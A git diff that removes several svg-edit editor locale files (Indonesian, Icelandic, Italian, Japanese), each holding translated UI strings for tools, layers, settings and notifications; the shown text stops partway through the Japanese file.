-		"stroke_color": "Ubah warna stroke",
-		"stroke_style": "Ubah gaya dash stroke",
-		"stroke_width": "Ubah stroke width",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Ubah sudut rotasi",
-		"blur": "Change gaussian blur value",
-		"opacity": "Mengubah item yang dipilih keburaman",
-		"circle_cx": "Mengubah koordinat lingkaran cx",
-		"circle_cy": "Mengubah koordinat cy lingkaran",
-		"circle_r": "Ubah jari-jari lingkaran",
-		"ellipse_cx": "Ubah elips&#39;s cx koordinat",
-		"ellipse_cy": "Ubah elips&#39;s cy koordinat",
-		"ellipse_rx": "Ubah elips&#39;s x jari-jari",
-		"ellipse_ry": "Ubah elips&#39;s y jari-jari",
-		"line_x1": "Ubah baris mulai x koordinat",
-		"line_x2": "Ubah baris&#39;s Berakhir x koordinat",
-		"line_y1": "Ubah baris mulai y koordinat",
-		"line_y2": "Ubah baris di tiap akhir y koordinat",
-		"rect_height": "Perubahan tinggi persegi panjang",
-		"rect_width": "Ubah persegi panjang lebar",
-		"corner_radius": "Ubah Corner Rectangle Radius",
-		"image_width": "Ubah Lebar gambar",
-		"image_height": "Tinggi gambar Perubahan",
-		"image_url": "Ubah URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Ubah isi teks",
-		"font_family": "Ubah Font Keluarga",
-		"font_size": "Ubah Ukuran Font",
-		"bold": "Bold Teks",
-		"italic": "Italic Teks"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Mengubah warna latar belakang / keburaman",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Cocok untuk semua konten",
-		"fit_to_canvas": "Muat kanvas",
-		"fit_to_layer_content": "Muat konten lapisan",
-		"fit_to_sel": "Fit seleksi",
-		"align_relative_to": "Rata relatif ...",
-		"relativeTo": "relatif:",
-		"Halaman": "Halaman",
-		"largest_object": "objek terbesar",
-		"selected_objects": "objek terpilih",
-		"smallest_object": "objek terkecil",
-		"new_doc": "Gambar Baru",
-		"open_doc": "Membuka Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Rata Bottom",
-		"align_center": "Rata Tengah",
-		"align_left": "Rata Kiri",
-		"align_middle": "Rata Tengah",
-		"align_right": "Rata Kanan",
-		"align_top": "Rata Top",
-		"mode_select": "Pilih Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Persegi Panjang",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Lingkaran",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Teks Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Undo",
-		"redo": "Redo",
-		"tool_source": "Edit Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Kelompok Elemen",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elemen",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Pindah ke Bawah",
-		"move_top": "Pindahkan ke Atas",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Simpan",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Hapus Layer",
-		"move_down": "Pindahkan Layer Bawah",
-		"new": "New Layer",
-		"rename": "Rename Layer",
-		"move_up": "Pindahkan Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Pilih standar:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.is.js b/public/svg-edit/editor/locale/lang.is.js
deleted file mode 100644
index 2ef73f71..00000000
--- a/public/svg-edit/editor/locale/lang.is.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "is",
-	dir : "ltr",
-	common: {
-		"ok": "Vista",
-		"cancel": "Hætta",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Smelltu hér til að breyta fylla lit, Shift-smelltu til að breyta högg lit",
-		"zoom_level": "Breyta Stækkunarstig",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Breyta fylla color",
-		"stroke_color": "Breyta heilablķđfall color",
-		"stroke_style": "Breyta heilablķđfall þjóta stíl",
-		"stroke_width": "Breyta heilablķđfall width",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Breyting snúningur horn",
-		"blur": "Change gaussian blur value",
-		"opacity": "Breyta valin atriði opacity",
-		"circle_cx": "Cx Breyta hring er að samræma",
-		"circle_cy": "Breyta hring&#39;s cy samræma",
-		"circle_r": "Radíus Breyta hringsins er",
-		"ellipse_cx": "Breyta sporbaug&#39;s cx samræma",
-		"ellipse_cy": "Breyta sporbaug&#39;s cy samræma",
-		"ellipse_rx": "X radíus Breyta sporbaug&#39;s",
-		"ellipse_ry": "Y radíus Breyta sporbaug&#39;s",
-		"line_x1": "Breyta lína í byrjun x samræma",
-		"line_x2": "Breyta lína&#39;s Ending x samræma",
-		"line_y1": "Breyta lína í byrjun y samræma",
-		"line_y2": "Breyta lína er endir y samræma",
-		"rect_height": "Breyta rétthyrningur hæð",
-		"rect_width": "Skipta rétthyrningur width",
-		"corner_radius": "Breyta rétthyrningur Corner Radíus",
-		"image_width": "Breyta mynd width",
-		"image_height": "Breyta mynd hæð",
-		"image_url": "Breyta URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Breyta texta innihald",
-		"font_family": "Change Leturfjölskylda",
-		"font_size": "Breyta leturstærð",
-		"bold": "Bold Text",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Breyta bakgrunnslit / opacity",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Laga til efni",
-		"fit_to_canvas": "Fit á striga",
-		"fit_to_layer_content": "Laga til lag efni",
-		"fit_to_sel": "Fit til val",
-		"align_relative_to": "Jafna miðað við ...",
-		"relativeTo": "hlutfallslegt til:",
-		"síðu": "síðu",
-		"largest_object": "stærsti hlutinn",
-		"selected_objects": "kjörinn hlutir",
-		"smallest_object": "lítill hluti",
-		"new_doc": "New Image",
-		"open_doc": "Opna mynd",
-		"export_png": "Export as PNG",
-		"save_doc": "Spara Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Jafna Bottom",
-		"align_center": "Jafna Center",
-		"align_left": "Vinstri jöfnun",
-		"align_middle": "Jafna Mið",
-		"align_right": "Hægri jöfnun",
-		"align_top": "Jöfnun Top",
-		"mode_select": "Veldu Tól",
-		"mode_fhpath": "Blýantur Tól",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand rétthyrningur",
-		"mode_ellipse": "Sporbaugur",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Sporbaugur",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Tool",
-		"mode_image": "Mynd Tól",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Hætta",
-		"redo": "Endurtaka",
-		"tool_source": "Edit Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Group Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elements",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Færa Bottom",
-		"move_top": "Fara efst á síðu",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Vista",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Eyða Lag",
-		"move_down": "Færa Layer Down",
-		"new": "Lag",
-		"rename": "Endurnefna Lag",
-		"move_up": "Færa Lag Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Veldu predefined:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.it.js b/public/svg-edit/editor/locale/lang.it.js
deleted file mode 100644
index 594e5128..00000000
--- a/public/svg-edit/editor/locale/lang.it.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "it",
-	dir : "ltr",
-	common: {
-		"ok": "Salva",
-		"cancel": "Annulla",
-		"key_backspace": "backspace", 
-		"key_del": "Canc", 
-		"key_down": "giù", 
-		"key_up": "su", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Mostra/nascondi strumenti per il tratto",
-		"palette_info": "Fare clic per cambiare il colore di riempimento, shift-click per cambiare colore del tratto",
-		"zoom_level": "Cambia il livello di zoom",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identifica l'elemento",
-		"fill_color": "Cambia il colore di riempimento",
-		"stroke_color": "Cambia il colore del tratto",
-		"stroke_style": "Cambia lo stile del tratto",
-		"stroke_width": "Cambia la larghezza del tratto",
-		"pos_x": "Modifica la coordinata x",
-		"pos_y": "Modifica la coordinata y",
-		"linecap_butt": "Inizio linea: Punto",
-		"linecap_round": "Inizio linea: Tondo",
-		"linecap_square": "Inizio linea: Quadrato",
-		"linejoin_bevel": "Giunzione: smussata",
-		"linejoin_miter": "Giunzione: spezzata",
-		"linejoin_round": "Giunzione: arrotondata",
-		"angle": "Cambia l'angolo di rotazione",
-		"blur": "Cambia l'intensità della sfocatura",
-		"opacity": "Cambia l'opacità dell'oggetto selezionato",
-		"circle_cx": "Cambia la coordinata Cx del cerchio",
-		"circle_cy": "Cambia la coordinata Cy del cerchio",
-		"circle_r": "Cambia il raggio del cerchio",
-		"ellipse_cx": "Cambia la coordinata Cx dell'ellisse",
-		"ellipse_cy": "Cambia la coordinata Cy dell'ellisse",
-		"ellipse_rx": "Cambia l'asse x dell'ellisse",
-		"ellipse_ry": "Cambia l'asse y dell'ellisse",
-		"line_x1": "Modifica la coordinata iniziale x della linea",
-		"line_x2": "Modifica la coordinata finale x della linea",
-		"line_y1": "Modifica la coordinata iniziale y della linea",
-		"line_y2": "Modifica la coordinata finale y della linea",
-		"rect_height": "Cambia l'altezza rettangolo",
-		"rect_width": "Cambia la larghezza rettangolo",
-		"corner_radius": "Cambia il raggio dell'angolo",
-		"image_width": "Cambia la larghezza dell'immagine",
-		"image_height": "Cambia l'altezza dell'immagine",
-		"image_url": "Cambia URL",
-		"node_x": "Modifica la coordinata x del nodo",
-		"node_y": "Modifica la coordinata y del nodo",
-		"seg_type": "Cambia il tipo di segmento",
-		"straight_segments": "Linea retta",
-		"curve_segments": "Curva",
-		"text_contents": "Cambia il contenuto del testo",
-		"font_family": "Cambia il tipo di Font",
-		"font_size": "Modifica dimensione carattere",
-		"bold": "Grassetto",
-		"italic": "Corsivo"
-	},
-	tools: { 
-		"main_menu": "Menù principale",
-		"bkgnd_color_opac": "Cambia colore/opacità dello sfondo",
-		"connector_no_arrow": "No freccia",
-		"fitToContent": "Adatta al contenuto",
-		"fit_to_all": "Adatta a tutti i contenuti",
-		"fit_to_canvas": "Adatta all'area di disegno",
-		"fit_to_layer_content": "Adatta al contenuto del livello",
-		"fit_to_sel": "Adatta alla selezione",
-		"align_relative_to": "Allineati a ...",
-		"relativeTo": "Rispetto a:",
-		"Pagina": "Pagina",
-		"largest_object": "Oggetto più grande",
-		"selected_objects": "Oggetti selezionati",
-		"smallest_object": "Oggetto più piccolo",
-		"new_doc": "Nuova immagine",
-		"open_doc": "Apri immagine",
-		"export_png": "Esporta come PNG",
-		"save_doc": "Salva",
-		"import_doc": "Importa SVG",
-		"align_to_page": "Allinea elementi alla pagina",
-		"align_bottom": "Allinea in basso",
-		"align_center": "Allinea al centro",
-		"align_left": "Allinea a sinistra",
-		"align_middle": "Allinea al centro",
-		"align_right": "Allinea a destra",
-		"align_top": "Allinea in alto",
-		"mode_select": "Seleziona",
-		"mode_fhpath": "Matita",
-		"mode_line": "Linea",
-		"mode_connect": "Collega due oggetti",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Rettangolo a mano libera",
-		"mode_ellipse": "Ellisse",
-		"mode_circle": "Cerchio",
-		"mode_fhellipse": "Ellisse a mano libera",
-		"mode_path": "Spezzata",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Testo",
-		"mode_image": "Immagine",
-		"mode_zoom": "Zoom",
-		"mode_eyedropper": "Seleziona colore",
-		"no_embed": "NOTA: L'immagine non può essere incorporata: dipenderà dal percorso assoluto per essere vista",
-		"undo": "Annulla",
-		"redo": "Rifai",
-		"tool_source": "Modifica sorgente",
-		"wireframe_mode": "Contorno",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Raggruppa elementi",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Converti in tracciato",
-		"reorient_path": "Riallinea",
-		"ungroup": "Separa gli elementi",
-		"docprops": "Proprietà del documento",
-		"imagelib": "Image Library",
-		"move_bottom": "Sposta in fondo",
-		"move_top": "Sposta in cima",
-		"node_clone": "Clona nodo",
-		"node_delete": "Elimina nodo",
-		"node_link": "Collegamento tra punti di controllo",
-		"add_subpath": "Aggiungi sotto-percorso",
-		"openclose_path": "Apri/chiudi spezzata",
-		"source_save": "Salva",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"Canc": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Livello",
-		"layers": "Layers",
-		"del": "Elimina il livello",
-		"move_down": "Sposta indietro il livello",
-		"new": "Nuovo livello",
-		"rename": "Rinomina il livello",
-		"move_up": "Sposta avanti il livello",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Sposta verso:",
-		"move_selected": "Sposta gli elementi in un diverso livello"
-	},
-	config: {
-		"image_props": "Proprietà Immagine",
-		"doc_title": "Titolo",
-		"doc_dims": "Dimensioni dell'area di disegno",
-		"included_images": "Immagini incluse",
-		"image_opt_embed": "Incorpora dati (file locali)",
-		"image_opt_ref": "Usa l'identificativo di riferimento",
-		"editor_prefs": "Preferenze",
-		"icon_size": "Dimensione Icona",
-		"language": "Lingua",
-		"background": "Sfondo dell'editor",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Nota: Lo sfondo non verrà salvato con l'immagine.",
-		"icon_large": "Grande",
-		"icon_medium": "Medio",
-		"icon_small": "Piccolo",
-		"icon_xlarge": "Molto grande",
-		"select_predefined": "Selezioni predefinite:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Valore assegnato non valido",
-		"noContentToFitTo":"Non c'è contenuto cui adeguarsi",
-		"dupeLayerName":"C'è già un livello con questo nome!",
-		"enterUniqueLayerName":"Assegna un diverso nome a ciascun livello, grazie!",
-		"enterNewLayerName":"Assegna un nome al livello",
-		"layerHasThatName":"Un livello ha già questo nome",
-		"QmoveElemsToLayer":"Sposta gli elementi selezionali al livello '%s'?",
-		"QwantToClear":"Vuoi cancellare il disegno?\nVerrà eliminato anche lo storico delle modifiche!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"Ci sono errori nel codice sorgente SVG.\nRitorno al codice originale?",
-		"QignoreSourceChanges":"Ignoro i cambiamenti nel sorgente SVG?",
-		"featNotSupported":"Caratteristica non supportata",
-		"enterNewImgURL":"Scrivi un nuovo URL per l'immagine",
-		"defsFailOnSave": "NOTA: A causa dlle caratteristiche del tuo browser, l'immagine potrà apparire errata (senza elementi o gradazioni) finché non sarà salvata.",
-		"loadingImage":"Sto caricando l'immagine. attendere prego...",
-		"saveFromBrowser": "Seleziona \"Salva con nome...\" nel browser per salvare l'immagine con nome %s .",
-		"noteTheseIssues": "Nota le seguenti particolarità: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.ja.js b/public/svg-edit/editor/locale/lang.ja.js
deleted file mode 100644
index 27c58d41..00000000
--- a/public/svg-edit/editor/locale/lang.ja.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "ja",
-	dir : "ltr",
-	common: {
-		"ok": "OK",
-		"cancel": "キャンセル",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "クリックで塗りの色を選択、Shift+クリックで線の色を選択",
-		"zoom_level": "ズーム倍率の変更",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "塗りの色を変更",
-		"stroke_color": "線の色を変更",
-		"stroke_style": "線種の変更",
-		"stroke_width": "線幅の変更",
-		"pos_x": "X座標を変更",
-		"pos_y": "Y座標を変更",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "回転角の変更",
-		"blur": "Change gaussian blur value",
-		"opacity": "不透明度",
-		"circle_cx": "円の中心を変更（X座標）",
-		"circle_cy": "円の中心を変更（Y座標）",
-		"circle_r": "変更円の半径",
-		"ellipse_cx": "楕円の中心を変更（X座標）",
-		"ellipse_cy": "楕円の中心を変更（Y座標）",
-		"ellipse_rx": "楕円の半径を変更（X座標）",
-		"ellipse_ry": "楕円の半径を変更（Y座標）",
-		"line_x1": "開始X座標",
-		"line_x2": "終了X座標",
-		"line_y1": "開始Y座標",
-		"line_y2": "終了Y座標",
-		"rect_height": "長方形の高さを変更",
-		"rect_width": "長方形の幅を変更",
-		"corner_radius": "長方形の角の半径を変更",
-		"image_width": "画像の幅を変更",
-		"image_height": "画像の高さを変更",
-		"image_url": "URLを変更",
-		"node_x": "ノードのX座標を変更",
-		"node_y": "ノードのY座標を変更",
-		"seg_type": "線分の種類を変更",
-		"straight_segments": "直線",
-		"curve_segments": "カーブ",
-		"text_contents": "テキストの内容の変更",
-		"font_family": "フォントファミリーの変更",
-		"font_size": "文字サイズの変更",
-		"bold": "太字",
-		"italic": "イタリック体"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "背景色/不透明度の変更",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "コンテンツに合わせる",
-		"fit_to_all": "すべてのコンテンツに合わせる",
-		"fit_to_canvas": "キャンバスに合わせる",
-		"fit_to_layer_content": "レイヤー上のコンテンツに合わせる",
-		"fit_to_sel": "選択対象に合わせる",
-		"align_relative_to": "揃える",
-		"relativeTo": "相対:",
-		"ページ": "ページ",
-		"largest_object": "最大のオブジェクト",
-		"selected_objects": "選択オブジェクト",
-		"smallest_object": "最小のオブジェクト",
-		"new_doc": "新規イメージ",
-		"open_doc": "イメージを開く",
-		"export_png": "Export as PNG",
-		"save_doc": "画像を保存",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "下揃え",
-		"align_center": "中央揃え",
-		"align_left": "左揃え",
-		"align_middle": "中央揃え",
-		"align_right": "右揃え",
-		"align_top": "上揃え",
-		"mode_select": "選択ツール",
-		"mode_fhpath": "鉛筆ツール",
-		"mode_line": "直線ツール",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "フリーハンド長方形",
-		"mode_ellipse": "楕円",
-		"mode_circle": "円",
-		"mode_fhellipse": "フリーハンド楕円",
-		"mode_path": "パスツール",
-		"mode_shapelib": "Shape library",
